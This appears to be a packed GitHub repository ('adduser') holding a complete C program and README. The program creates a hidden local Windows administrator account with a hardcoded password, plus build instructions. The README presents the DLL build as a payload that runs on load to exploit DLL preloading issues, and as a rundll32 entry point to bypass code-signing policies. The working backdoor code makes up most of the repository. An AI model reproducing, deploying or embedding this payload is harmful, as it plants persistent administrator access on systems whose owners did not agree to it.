Repository: newsoft/adduser Branch: master Commit: 147946e8daad Files: 4 Total size: 6.3 KB Directory structure: gitextract_imj3h5we/ ├── .gitattributes ├── .gitignore ├── README.md └── adduser.c ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitattributes ================================================ # Auto detect text files and perform LF normalization * text=auto # Custom for Visual Studio *.cs diff=csharp *.sln merge=union *.csproj merge=union *.vbproj merge=union *.fsproj merge=union *.dbproj merge=union # Standard to msysgit *.doc diff=astextplain *.DOC diff=astextplain *.docx diff=astextplain *.DOCX diff=astextplain *.dot diff=astextplain *.DOT diff=astextplain *.pdf diff=astextplain *.PDF diff=astextplain *.rtf diff=astextplain *.RTF diff=astextplain ================================================ FILE: .gitignore ================================================ ################# ## Eclipse ################# *.pydevproject .project .metadata bin/ tmp/ *.tmp *.bak *.swp *~.nib local.properties .classpath .settings/ .loadpath # External tool builders .externalToolBuilders/ # Locally stored "Eclipse launch configurations" *.launch # CDT-specific .cproject # PDT-specific .buildpath ################# ## Visual Studio ################# ## Ignore Visual Studio temporary files, build results, and ## files generated by popular Visual Studio add-ons. # User-specific files *.suo *.user *.sln.docstates # Build results [Dd]ebug/ [Rr]elease/ *_i.c *_p.c *.ilk *.meta *.obj *.pch *.pdb *.pgc *.pgd *.rsp *.sbr *.tlb *.tli *.tlh *.tmp *.vspscc .builds *.dotCover ## TODO: If you have NuGet Package Restore enabled, uncomment this #packages/ # Visual C++ cache files ipch/ *.aps *.ncb *.opensdf *.sdf # Visual Studio profiler *.psess *.vsp # ReSharper is a .NET coding add-in _ReSharper* # Installshield output folder [Ee]xpress # DocProject is a documentation generator add-in DocProject/buildhelp/ DocProject/Help/*.HxT DocProject/Help/*.HxC DocProject/Help/*.hhc DocProject/Help/*.hhk DocProject/Help/*.hhp DocProject/Help/Html2 DocProject/Help/html # Click-Once directory publish # Others [Bb]in [Oo]bj sql TestResults *.Cache ClientBin stylecop.* ~$* *.dbmdl Generated_Code #added for RIA/Silverlight projects # Backup & report files from converting an old project file to a newer # Visual Studio version. Backup files are not needed, because we have git ;-) _UpgradeReport_Files/ Backup*/ UpgradeLog*.XML ############ ## Windows ############ # Windows image file caches Thumbs.db # Folder config file Desktop.ini ############# ## Python ############# *.py[co] # Packages *.egg *.egg-info dist build eggs parts bin var sdist develop-eggs .installed.cfg # Installer logs pip-log.txt # Unit test / coverage reports .coverage .tox #Translations *.mo #Mr Developer .mr.developer.cfg # Mac crap .DS_Store ================================================ FILE: README.md ================================================ # adduser Programmatically creates a 'local admin' Windows user. Requires admin rights. The created user is hardcoded to the following: Login: `audit` Password: `Test123456789!` (this should be good enough to fit most password policies) This standalone piece code can run in many contexts: - As a command-line EXE. - As a DLL (the user will be created on DLL load). This is useful to exploit "DLL Preloading" issues. - As a DLL, through `rundll32.exe adduser.dll,CreateAdminUser@16`. This is useful to bypass mandatory code signing applied to EXE files only. ## Compiling ### Using MinGW (tested on macOS, but Linux should work) - Create a 32-bit EXE file: `i686-w64-mingw32-gcc -oadduser32.exe adduser.c -lnetapi32` - Create a 32-bit DLL file: `i686-w64-mingw32-gcc -shared -oadduser32.dll adduser.c -lnetapi32` - Create a 64-bit EXE file: `x86_64-w64-mingw32-gcc -oadduser64.exe adduser.c -lnetapi32` - Create a 64-bit DLL file: `x86_64-w64-mingw32-gcc -shared -oadduser64.dll adduser.c -lnetapi32` ### Using Visual Studio (tested with VS2013) - Create an EXE file: `cl.exe adduser.c /link /DEFAULTLIB:ADVAPI32 /DEFAULTLIB:NETAPI32` - Create a DLL file: `cl.exe adduser.c /LD /link /DEFAULTLIB:ADVAPI32 /DEFAULTLIB:NETAPI32` ================================================ FILE: adduser.c ================================================ /* * ADDUSER.C: creating a Windows user programmatically. */ #define UNICODE #define _UNICODE #include #include #include #include #include DWORD CreateAdminUserInternal(void) { NET_API_STATUS rc; BOOL b; DWORD dw; USER_INFO_1 ud; LOCALGROUP_MEMBERS_INFO_0 gd; SID_NAME_USE snu; DWORD cbSid = 256; // 256 bytes should be enough for everybody :) BYTE Sid[256]; DWORD cbDomain = 256 / sizeof(TCHAR); TCHAR Domain[256]; // // Create user // http://msdn.microsoft.com/en-us/library/aa370649%28v=VS.85%29.aspx // memset(&ud, 0, sizeof(ud)); ud.usri1_name = _T("audit"); // username ud.usri1_password = _T("Test123456789!"); // password ud.usri1_priv = USER_PRIV_USER; // cannot set USER_PRIV_ADMIN on creation ud.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT; // must be set ud.usri1_script_path = NULL; rc = NetUserAdd( NULL, // local server 1, // information level (LPBYTE)&ud, NULL // error value ); if (rc != NERR_Success) { _tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc); return rc; } // // Get user SID // http://msdn.microsoft.com/en-us/library/aa379159(v=vs.85).aspx // b = LookupAccountName( NULL, // local server _T("audit"), // account name Sid, // SID &cbSid, // SID size Domain, // Domain &cbDomain, // Domain size &snu // SID_NAME_USE (enum) ); if (!b) { dw = GetLastError(); _tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw); return dw; } // // Add user to "Administrators" local group // http://msdn.microsoft.com/en-us/library/aa370436%28v=VS.85%29.aspx // memset(&gd, 0, sizeof(gd)); gd.lgrmi0_sid = (PSID)Sid; rc = NetLocalGroupAddMembers( NULL, // local server _T("Administrators"), 0, // information level (LPBYTE)&gd, 1 // only one entry ); if (rc != NERR_Success) { _tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc); return rc; } return 0; } // // DLL entry point. // BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: CreateAdminUserInternal(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } // // RUNDLL32 entry point. // https://support.microsoft.com/en-us/help/164787/info-windows-rundll-and-rundll32-interface // #ifdef __cplusplus extern "C" { #endif __declspec(dllexport) void __stdcall CreateAdminUser(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) { CreateAdminUserInternal(); } #ifdef __cplusplus } #endif // // Command-line entry point. // int main() { return CreateAdminUserInternal(); }